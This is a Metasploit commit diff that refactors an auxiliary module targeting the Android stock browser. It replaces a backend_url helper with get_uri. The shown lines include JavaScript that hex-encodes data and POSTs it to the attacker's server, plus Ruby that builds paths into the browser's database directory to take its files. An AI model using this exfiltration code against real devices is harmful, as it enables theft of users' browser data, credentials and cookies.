Use get_uri instead, note lack of Rex::Text method

See rapid7#4461
bug/bundler_fix
Tod Beardsley 2014-12-28 15:06:34 -06:00
parent 788e315fd4
commit 1236684954
No known key found for this signature in database
GPG Key ID: BD63D0A3EA19CAAC
1 changed files with 2 additions and 8 deletions

View File

@ -110,7 +110,7 @@ class Metasploit3 < Msf::Auxiliary
return (c.length < 2) ? '0'+c : c;
}).join('');
var x2 = new XMLHttpRequest();
x2.open('POST', '#{backend_url}/');
x2.open('POST', '#{get_uri}/');
x2.setRequestHeader('Content-type', 'text/plain');
x2.send(hex);
}
@ -130,13 +130,7 @@ class Metasploit3 < Msf::Auxiliary
'/data/data/com.android.browser/databases/' + file
end
def backend_url
proto = (datastore["SSL"] ? "https" : "http")
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH'].gsub(/^\//, '')}"
end
# TODO: Make this a proper Rex::Text function
def hex2bin(hex)
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
end